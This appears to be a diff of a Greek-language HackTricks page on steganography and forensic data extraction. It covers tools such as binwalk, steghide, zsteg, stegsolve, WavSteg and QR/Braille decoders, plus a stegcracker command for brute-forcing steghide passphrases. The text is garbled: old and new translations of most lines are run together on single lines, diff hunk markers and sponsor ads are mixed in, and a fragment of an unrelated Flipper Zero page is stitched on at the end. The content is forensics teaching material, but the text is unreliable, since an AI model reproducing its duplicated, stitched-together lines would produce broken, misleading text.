Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details> </details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, βρίσκει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τα APIs μέχρι τις web εφαρμογές και τα συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## **Εξαγωγή Δεδομένων από Αρχεία** ## **Εξαγωγή Δεδομένων από Αρχεία**
### **Binwalk** ### **Binwalk**
Ένα εργαλείο για την αναζήτηση δυαδικών αρχείων για ενσωματωμένα κρυφά αρχεία και δεδομένα. Εγκαθίσταται μέσω `apt` και ο πηγαίος κώδικας του είναι διαθέσιμος στο [GitHub](https://github.com/ReFirmLabs/binwalk).
Ένα εργαλείο για την αναζήτηση δυαδικών αρχείων για ενσωματωμένα κρυμμένα αρχεία και δεδομένα. Εγκαθίσταται μέσω `apt` και ο πηγαίος κώδικάς του είναι διαθέσιμος στο [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash ```bash
binwalk file # Displays the embedded data binwalk file # Displays the embedded data
binwalk -e file # Extracts the data binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data binwalk --dd ".*" file # Extracts all data
``` ```
### **Foremost** ### **Foremost**
Ανακτά αρχεία με βάση τους κεφαλίδες και τα υποσέλιδα τους, χρήσιμο για εικόνες png. Εγκαθίσταται μέσω `apt` με την πηγή του στο [GitHub](https://github.com/korczis/foremost).
Ανακτά αρχεία με βάση τους τίτλους και τους υποσένδες τους, χρήσιμο για εικόνες png. Εγκαθίσταται μέσω `apt` με την πηγή του στο [GitHub](https://github.com/korczis/foremost).
```bash ```bash
foremost -i file # Extracts data foremost -i file # Extracts data
``` ```
### **Exiftool** ### **Exiftool**
Βοηθά στην προβολή μεταδεδομένων αρχείων, διαθέσιμο [εδώ](https://www.sno.phy.queensu.ca/~phil/exiftool/).
Βοηθά στην προβολή μεταδεδομένων αρχείων, διαθέσιμο [εδώ](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
```bash ```bash
exiftool file # Shows the metadata exiftool file # Shows the metadata
``` ```
### **Exiv2** ### **Exiv2**
Παρόμοιο με το exiftool, για την προβολή μεταδεδομένων. Εγκαταστάσιμο μέσω `apt`, πηγαίος κώδικας στο [GitHub](https://github.com/Exiv2/exiv2), και έχει μια [επίσημη ιστοσελίδα](http://www.exiv2.org/).
Παρόμοιο με το exiftool, για προβολή μεταδεδομένων. Εγκατάσταση μέσω `apt`, πηγαίος κώδικας στο [GitHub](https://github.com/Exiv2/exiv2), και έχει μια [επίσημη ιστοσελίδα](http://www.exiv2.org/).
```bash ```bash
exiv2 file # Shows the metadata exiv2 file # Shows the metadata
``` ```
### **Αρχείο** ### **Αρχείο**
Αναγνωρίστε τον τύπο του αρχείου με το οποίο ασχολείστε.
Αναγνωρίστε τον τύπο του αρχείου με τον οποίο ασχολείστε.
### **Συμβολοσειρές** ### **Συμβολοσειρές**
Εξάγει αναγνώσιμες συμβολοσειρές από αρχεία, χρησιμοποιώντας διάφορες ρυθμίσεις κωδικοποίησης για να φιλτράρει την έξοδο. Εξάγει αναγνώσιμες συμβολοσειρές από αρχεία, χρησιμοποιώντας διάφορες ρυθμίσεις κωδικοποίησης για να φιλτράρει την έξοδο.
```bash ```bash
strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file # Extracts strings with a minimum length of 6
@ -63,77 +61,68 @@ strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian) strings -e B -n 6 file # 32bit strings (big-endian)
``` ```
### **Σύγκριση (cmp)** ### **Σύγκριση (cmp)**
Χρήσιμο για τη σύγκριση ενός τροποποιημένου αρχείου με την αρχική του έκδοση που βρέθηκε online. Χρήσιμο για τη σύγκριση ενός τροποποιημένου αρχείου με την αρχική του έκδοση που βρέθηκε online.
```bash ```bash
cmp original.jpg stego.jpg -b -l cmp original.jpg stego.jpg -b -l
``` ```
## **Εξαγωγή Κρυμμένων Δεδομένων από Κείμενο** ## **Εξαγωγή Κρυμμένων Δεδομένων σε Κείμενο**
### **Κρυμμένα Δεδομένα σε Διαστήματα** ### **Κρυμμένα Δεδομένα στα Διαστήματα**
Αόρατοι χαρακτήρες σε φαινομενικά κενά διαστήματα μπορεί να κρύβουν πληροφορίες. Για να εξαγάγετε αυτά τα δεδομένα, επισκεφθείτε [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
Αόρατοι χαρακτήρες σε φαινομενικά κενά διαστήματα μπορεί να κρύβουν πληροφορίες. Για να εξάγετε αυτά τα δεδομένα, επισκεφθείτε [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
***
## **Εξαγωγή Δεδομένων από Εικόνες** ## **Εξαγωγή Δεδομένων από Εικόνες**
### **Αναγνώριση Λεπτομερειών Εικόνας με το GraphicMagick** ### **Αναγνώριση Λεπτομερειών Εικόνας με το GraphicMagick**
Το [GraphicMagick](https://imagemagick.org/script/download.php) χρησιμοποιείται για να προσδιορίσει τους τύπους αρχείων εικόνας και να ανιχνεύσει πιθανή καταστροφή. Εκτελέστε την παρακάτω εντολή για να επιθεωρήσετε μια εικόνα: Το [GraphicMagick](https://imagemagick.org/script/download.php) χρησιμεύει για τον προσδιορισμό τύπων αρχείων εικόνας και την αναγνώριση πιθανής διαφθοράς. Εκτελέστε την παρακάτω εντολή για να επιθεωρήσετε μια εικόνα:
```bash ```bash
./magick identify -verbose stego.jpg ./magick identify -verbose stego.jpg
``` ```
Για να προσπαθήσετε να επιδιορθώσετε μια κατεστραμμένη εικόνα, μπορεί να βοηθήσει η προσθήκη ενός σχολίου μεταδεδομένων: Για να προσπαθήσετε να επισκευάσετε μια φθαρμένη εικόνα, η προσθήκη ενός σχολίου μεταδεδομένων μπορεί να βοηθήσει:
```bash ```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
``` ```
### **Steghide για Απόκρυψη Δεδομένων** ### **Steghide για Απόκρυψη Δεδομένων**
Το Steghide διευκολύνει την απόκρυψη δεδομένων μέσα σε αρχεία `JPEG, BMP, WAV και AU`, ικανό να ενσωματώνει και να εξάγει κρυπτογραφημένα δεδομένα. Η εγκατάσταση είναι απλή χρησιμοποιώντας το `apt`, και ο [πηγαίος κώδικας είναι διαθέσιμος στο GitHub](https://github.com/StefanoDeVuono/steghide). Το Steghide διευκολύνει την απόκρυψη δεδομένων εντός αρχείων `JPEG, BMP, WAV, και AU`, ικανό να ενσωματώνει και να εξάγει κρυπτογραφημένα δεδομένα. Η εγκατάσταση είναι απλή χρησιμοποιώντας το `apt`, και ο [πηγαίος κώδικας είναι διαθέσιμος στο GitHub](https://github.com/StefanoDeVuono/steghide).
**Εντολές:** **Εντολές:**
- Η εντολή `steghide info file` αποκαλύπτει εάν ένα αρχείο περιέχει κρυμμένα δεδομένα.
- Η εντολή `steghide extract -sf file [--passphrase password]` εξάγει τα κρυμμένα δεδομένα, με προαιρετικό κωδικό πρόσβασης.
Για εξαγωγή μέσω ιστοσελίδας, επισκεφθείτε [αυτήν την ιστοσελίδα](https://futureboy.us/stegano/decinput.html). * Το `steghide info file` αποκαλύπτει αν ένα αρχείο περιέχει κρυμμένα δεδομένα.
* Το `steghide extract -sf file [--passphrase password]` εξάγει τα κρυμμένα δεδομένα, με τον κωδικό πρόσβασης να είναι προαιρετικός.
**Επίθεση με Βίαιη Δοκιμή (Bruteforce) χρησιμοποιώντας το Stegcracker:** Για εξαγωγή μέσω ιστοσελίδας, επισκεφθείτε [αυτή την ιστοσελίδα](https://futureboy.us/stegano/decinput.html).
- Για να δοκιμάσετε την αποκρυπτογράφηση κωδικού πρόσβασης στο Steghide, χρησιμοποιήστε το [stegcracker](https://github.com/Paradoxis/StegCracker.git) ως εξής:
**Επίθεση Βίας με το Stegcracker:**
* Για να δοκιμάσετε την αποκωδικοποίηση κωδικών πρόσβασης στο Steghide, χρησιμοποιήστε το [stegcracker](https://github.com/Paradoxis/StegCracker.git) ως εξής:
```bash ```bash
stegcracker <file> [<wordlist>] stegcracker <file> [<wordlist>]
``` ```
### **zsteg για αρχεία PNG και BMP** ### **zsteg για αρχεία PNG και BMP**
Το zsteg εξειδικεύεται στον εντοπισμό κρυμμένων δεδομένων σε αρχεία PNG και BMP. Η εγκατάσταση γίνεται μέσω `gem install zsteg`, με την [πηγή του στο GitHub](https://github.com/zed-0xff/zsteg). Το zsteg εξειδικεύεται στην αποκάλυψη κρυμμένων δεδομένων σε αρχεία PNG και BMP. Η εγκατάσταση γίνεται μέσω `gem install zsteg`, με την [πηγή του στο GitHub](https://github.com/zed-0xff/zsteg).
**Εντολές:** **Εντολές:**
- Η εντολή `zsteg -a file` εφαρμόζει όλες τις μεθόδους ανίχνευσης σε ένα αρχείο.
- Η εντολή `zsteg -E file` καθορίζει ένα φορτίο για την εξαγωγή δεδομένων. * Το `zsteg -a file` εφαρμόζει όλες τις μεθόδους ανίχνευσης σε ένα αρχείο.
* Το `zsteg -E file` καθορίζει ένα φορτίο για την εξαγωγή δεδομένων.
### **StegoVeritas και Stegsolve** ### **StegoVeritas και Stegsolve**
Το **stegoVeritas** ελέγχει τα μεταδεδομένα, εκτελεί μετασχηματισμούς εικόνας και εφαρμόζει αναζήτηση με βία LSB μεταξύ άλλων χαρακτηριστικών. Χρησιμοποιήστε `stegoveritas.py -h` για μια πλήρη λίστα επιλογών και `stegoveritas.py stego.jpg` για να εκτελέσετε όλους τους ελέγχους. Το **stegoVeritas** ελέγχει τα μεταδεδομένα, εκτελεί μετασχηματισμούς εικόνας και εφαρμόζει αναζήτηση με τη βία LSB μεταξύ άλλων χαρακτηριστικών. Χρησιμοποιήστε `stegoveritas.py -h` για μια πλήρη λίστα επιλογών και `stegoveritas.py stego.jpg` για να εκτελέσετε όλους τους ελέγχους.
Το **Stegsolve** εφαρμόζει διάφορα φίλτρα χρωμάτων για να αποκαλύψει κρυμμένα κείμενα ή μηνύματα μέσα σε εικόνες. Είναι διαθέσιμο στο [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). Το **Stegsolve** εφαρμόζει διάφορα φίλτρα χρωμάτων για να αποκαλύψει κρυμμένα κείμενα ή μηνύματα μέσα σε εικόνες. Είναι διαθέσιμο στο [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
### **FFT για την Ανίχνευση Κρυμμένου Περιεχομένου** ### **FFT για Ανίχνευση Κρυμμένου Περιεχομένου**
Οι τεχνικές γρήγορης μετασχηματισμού Fourier (FFT) μπορούν να αποκαλύψουν κρυμμένο περιεχόμενο σε εικόνες. Χρήσιμοι πόροι περιλαμβάνουν: Οι τεχνικές Fast Fourier Transform (FFT) μπορούν να αποκαλύψουν κρυμμένο περιεχόμενο σε εικόνες. Χρήσιμοι πόροι περιλαμβάνουν:
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) * [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) * [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
- [FFTStegPic στο GitHub](https://github.com/0xcomposure/FFTStegPic) * [FFTStegPic στο GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy για Αρχεία Ήχου και Εικόνας** ### **Stegpy για Αρχεία Ήχου και Εικόνας**
@ -141,63 +130,70 @@ stegcracker <file> [<wordlist>]
### **Pngcheck για Ανάλυση Αρχείων PNG** ### **Pngcheck για Ανάλυση Αρχείων PNG**
Για να αναλύσετε αρχεία PNG ή να επαληθεύσετε την αυθεντικότητά τους, χρησιμοποιήστε: Για να αναλύσετε αρχεία PNG ή να επιβεβαιώσετε την αυθεντικότητά τους, χρησιμοποιήστε:
```bash ```bash
apt-get install pngcheck apt-get install pngcheck
pngcheck stego.png pngcheck stego.png
``` ```
### **Επιπλέον Εργαλεία για Ανάλυση Εικόνων** ### **Επιπρόσθετα Εργαλεία για Ανάλυση Εικόνων**
Για περαιτέρω εξερεύνηση, σκεφτείτε να επισκεφθείτε: Για περαιτέρω εξερεύνηση, εξετάστε την επίσκεψη:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) * [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) * [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
- [Outguess](https://github.com/resurrecting-open-source-projects/outguess) * [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
- [OpenStego](https://www.openstego.com/) * [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/) * [DIIT](https://diit.sourceforge.net/)
## **Εξαγωγή Δεδομένων από Ήχους** ## **Εξαγωγή Δεδομένων από Ήχους**
Η **ακουστική στεγανογραφία** προσφέρει ένα μοναδικό τρόπο για να κρύψετε πληροφορίες μέσα σε αρχεία ήχου. Διάφορα εργαλεία χρησιμοποιούνται για την ενσωμάτωση ή την ανάκτηση κρυμμένου περιεχομένου. Η **ακουστική στεγανογραφία** προσφέρει ένα μοναδικό τρόπο για την κρυψοκράτηση πληροφοριών μέσα σε αρχεία ήχου. Διάφορα εργαλεία χρησιμοποιούνται για την ενσωμάτωση ή την ανάκτηση κρυφού περιεχομένου.
### **Steghide (JPEG, BMP, WAV, AU)** ### **Steghide (JPEG, BMP, WAV, AU)**
Το Steghide είναι ένα ευέλικτο εργαλείο σχεδιασμένο για την απόκρυψη δεδομένων σε αρχεία JPEG, BMP, WAV και AU. Λεπτομερείς οδηγίες παρέχονται στην [τεκμηρίωση τεχνικών stego](stego-tricks.md#steghide).
Το Steghide είναι ένα ευέλικτο εργαλείο σχεδιασμένο για την κρυψοκράτηση δεδομένων σε αρχεία JPEG, BMP, WAV και AU. Λεπτομερείς οδηγίες παρέχονται στο [έγγραφο με τα κόλπα της stego](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)** ### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
Αυτό το εργαλείο είναι συμβατό με μια ποικιλία μορφών, συμπεριλαμβανομένων των PNG, BMP, GIF, WebP και WAV. Για περισσότερες πληροφορίες, ανατρέξτε στην [ενότητα Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Αυτό το εργαλείο είναι συμβατό με μια ποικιλία μορφών, συμπεριλαμβανομένων PNG, BMP, GIF, WebP και WAV. Για περισσότερες πληροφορίες, ανατρέξτε στην [ενότητα του Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg** ### **ffmpeg**
Το ffmpeg είναι ζωτικής σημασίας για την αξιολόγηση της ακεραιότητας αρχείων ήχου, την αναδειξη λεπτομερειών και τον εντοπισμό οποιωνδήποτε ανωμαλιών.
Το ffmpeg είναι κρίσιμο για την αξιολόγηση της ακεραιότητας των αρχείων ήχου, επισημαίνοντας λεπτομερείς πληροφορίες και εντοπίζοντας οποιεσδήποτε αντιφάσεις.
```bash ```bash
ffmpeg -v info -i stego.mp3 -f null - ffmpeg -v info -i stego.mp3 -f null -
``` ```
### **WavSteg (WAV)** ### **WavSteg (WAV)**
Το WavSteg ξεχωρίζει στην απόκρυψη και εξαγωγή δεδομένων μέσα σε αρχεία WAV χρησιμοποιώντας τη στρατηγική του λιγότερο σημαντικού ψηφίου. Είναι προσβάσιμο στο [GitHub](https://github.com/ragibson/Steganography#WavSteg). Οι εντολές περιλαμβάνουν:
Το WavSteg ξεχωρίζει στην απόκρυψη και εξαγωγή δεδομένων μέσα σε αρχεία WAV χρησιμοποιώντας τη στρατηγική του λιγότερο σημαντικού bit. Είναι προσβάσιμο στο [GitHub](https://github.com/ragibson/Steganography#WavSteg). Οι εντολές περιλαμβάνουν:
```bash ```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
``` ```
### **Deepsound** ### **Deepsound**
Το Deepsound επιτρέπει την κρυπτογράφηση και ανίχνευση πληροφοριών μέσα σε αρχεία ήχου χρησιμοποιώντας το AES-256. Μπορεί να γίνει λήψη από [την επίσημη σελίδα](http://jpinsoft.net/deepsound/download.aspx).
Το Deepsound επιτρέπει την κρυπτογράφηση και ανίχνευση πληροφοριών μέσα σε αρχεία ήχου χρησιμοποιώντας το AES-256. Μπορεί να ληφθεί από [την επίσημη σελίδα](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer** ### **Sonic Visualizer**
Ένα ανεκτίμητο εργαλείο για οπτική και αναλυτική επιθεώρηση αρχείων ήχου, το Sonic Visualizer μπορεί να αποκαλύψει κρυμμένα στοιχεία που δεν είναι ανιχνεύσιμα με άλλα μέσα. Επισκεφθείτε την [επίσημη ιστοσελίδα](https://www.sonicvisualiser.org/) για περισσότερες πληροφορίες. Ένα ανεκτίμητο εργαλείο για οπτική και αναλυτική επιθεώρηση αρχείων ήχου, το Sonic Visualizer μπορεί να αποκαλύψει κρυμμένα στοιχεία που δεν είναι ανιχνεύσιμα με άλλα μέσα. Επισκεφθείτε την [επίσημη ιστοσελίδα](https://www.sonicvisualiser.org/) για περισσότερες πληροφορίες.
### **DTMF Tones - Ήχοι Κλήσης** ### **DTMF Tones - Ήχοι Κλήσης**
Η ανίχνευση των ήχων DTMF σε αρχεία ήχου μπορεί να επιτευχθεί μέσω online εργαλείων όπως αυτός ο ανιχνευτής DTMF](https://unframework.github.io/dtmf-detect/) και το [DialABC](http://dialabc.com/sound/detect/index.html).
Η ανίχνευση των τόνων DTMF σε αρχεία ήχου μπορεί να επιτευχθεί μέσω online εργαλείων όπως αυτό το [ανιχνευτή DTMF](https://unframework.github.io/dtmf-detect/) και το [DialABC](http://dialabc.com/sound/detect/index.html).
## **Άλλες Τεχνικές** ## **Άλλες Τεχνικές**
### **Binary Length SQRT - QR Code** ### **Δυαδικό Μήκος SQRT - QR Code**
Δυαδικά δεδομένα που αποτελούν τετράγωνο ενός ακέραιου αριθμού μπορεί να αντιπροσωπεύουν έναν κωδικό QR. Χρησιμοποιήστε αυτό το απόσπασμα για να το ελέγξετε:
Δεδομένα που αντιστοιχούν σε έναν ακέραιο αριθμό όταν υψώνονται στο τετράγωνο μπορεί να αντιπροσωπεύουν έναν κωδικό QR. Χρησιμοποιήστε αυτό το απόσπασμα για έλεγχο:
```python ```python
import math import math
math.sqrt(2500) #50 math.sqrt(2500) #50
``` ```
Για τη μετατροπή από δυαδικό σε εικόνα, ελέγξτε το [dcode](https://www.dcode.fr/binary-image). Για την ανάγνωση QR κωδικών, χρησιμοποιήστε [αυτόν τον online αναγνώστη barcode](https://online-barcode-reader.inliteresearch.com/).
### **Μετάφραση Braille** ### **Μετάφραση Braille**
Για τη μετάφραση Braille, το [Branah Braille Translator](https://www.branah.com/braille-translator) είναι ένα εξαιρετικό εργαλείο. Για τη μετάφραση Braille, το [Branah Braille Translator](https://www.branah.com/braille-translator) είναι ένα εξαιρετικό εργαλείο.
## **Αναφορές** ## **Αναφορές**
@ -205,22 +201,16 @@ math.sqrt(2500) #50
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από APIs έως web εφαρμογές και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details> </details>

View file

@ -2,51 +2,37 @@
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> With [**Flipper Zero**](https://flipperzero.one/) you can:
